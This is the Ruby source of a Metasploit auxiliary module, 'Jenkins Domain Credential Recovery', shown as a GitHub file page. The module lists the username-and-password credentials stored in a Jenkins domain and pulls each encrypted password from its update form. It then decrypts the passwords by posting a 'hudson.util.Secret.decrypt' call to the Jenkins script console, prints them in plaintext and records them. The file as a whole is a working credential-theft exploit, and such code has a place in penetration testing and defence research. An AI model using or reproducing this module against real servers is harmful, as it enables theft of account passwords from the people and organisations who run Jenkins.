metasploit-framework/modules/auxiliary/gather/jenkins_cred_recovery.rb

264 lines
7.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'json'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins Domain Credential Recovery',
'Description' => %q{
This module will collect Jenkins domain username and passwords, and uses
the script console to decrypt them.
It has been tested against Jenkins version 1.590, 1.633, and 1.638.
},
'Author' =>
[
'Th3R3p0', # Vuln Discovery, PoC
'sinn3r' # Metasploit
],
'References' =>
[
[ 'EDB', '38664' ],
[ 'URL', 'http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ]
],
'DefaultOptions' =>
{
'RPORT' => 8080
},
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_'])
], self.class)
end
# Returns the Jenkins version.
#
# @return [String] Jenkins version.
# @return [NilClass] No Jenkins version found.
def get_jenkins_version
uri = normalize_uri(target_uri.path)
res = send_request_cgi({ 'uri' => uri })
html = res.get_html_document
version_attribute = html.at('body').attributes['data-version']
version = version_attribute ? version_attribute.value : ''
version.scan(/jenkins\-([\d\.]+)/).flatten.first
end
# Returns the Jenkins domain configured by the user.
#
# @return [String]
def domain
datastore['JENKINSDOMAIN']
end
# Returns a check code indicating the vulnerable status.
#
# @return [Array] Check code
def check
version = get_jenkins_version
vprint_status("Found version: #{version}")
# According to the issue response from Jenkins, they don't think it's a vulnerability,
# so there is no fix. So if we find a version, let's assume it's vulnerable
if version
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
# Returns all the found Jenkins accounts of a specific domain. The accounts collected only
# include the ones with the username-and-password kind. It does not include other kinds such
# as SSH, certificates, or other plugins.
#
# @return [Array<Hash>] An array of account data such as id, username, kind, description, and
# the domain it belongs to.
def get_users
users = []
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain)
uri << '/'
res = send_request_cgi({ 'uri'=>uri })
html = res.get_html_document
rows = html.search('//table[@class="sortable pane bigtable"]//tr')
# The first row is the table header, which we don't want.
rows.shift
rows.each do |row|
td = row.search('td')
id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || ''
name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || ''
kind = td[2].text
desc = td[3].text
next unless /Username with password/i === kind
users << {
id: id,
username: name,
kind: kind,
description: desc,
domain: domain
}
end
users
end
# Returns the found encrypted password from the update page.
#
# @param id [String] The ID of a specific account.
#
# @return [String] Found encrypted password.
# @return [NilCass] No encrypted password found.
def get_encrypted_password(id)
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')
res = send_request_cgi({ 'uri'=>uri })
html = res.get_html_document
input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
if input
return input.attributes['value'].value
else
vprint_error("Unable to find encrypted password for #{id}")
end
nil
end
# Returns the decrypted password by using the script console.
#
# @param encrypted_pass [String] The encrypted password.
#
# @return [String] The decrypted password.
# @return [NilClass] No decrypted password found (no result found on the console)
def decrypt(encrypted_pass)
uri = normalize_uri(target_uri, 'script')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'",
'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json,
'Submit' => 'Run'
}
})
html = res.get_html_document
result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')
if result
decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first
return decrypted_password
else
vprint_error('Unable to find result')
end
nil
end
# Decrypts an encrypted password for a given ID.
#
# @param id [String] Account ID.
#
# @return [String] The decrypted password.
# @return [NilClass] No decrypted password found (no result found on the console)
def descrypt_password(id)
encrypted_pass = get_encrypted_password(id)
decrypt(encrypted_pass)
end
# Reports the username and password to database.
#
# @param opts [Hash]
# @option opts [String] :user
# @option opts [String] :password
# @option opts [String] :proof
#
# @return [void]
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
users = get_users
print_status("Found users for domain #{domain}: #{users.length}")
users.each do |user_data|
pass = descrypt_password(user_data[:id])
if pass
if user_data[:description].blank?
print_good("Found credential: #{user_data[:username]}:#{pass}")
else
print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")
end
end
report_cred(
user: user_data[:username],
password: pass,
proof: user_data.inspect
)
end
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
end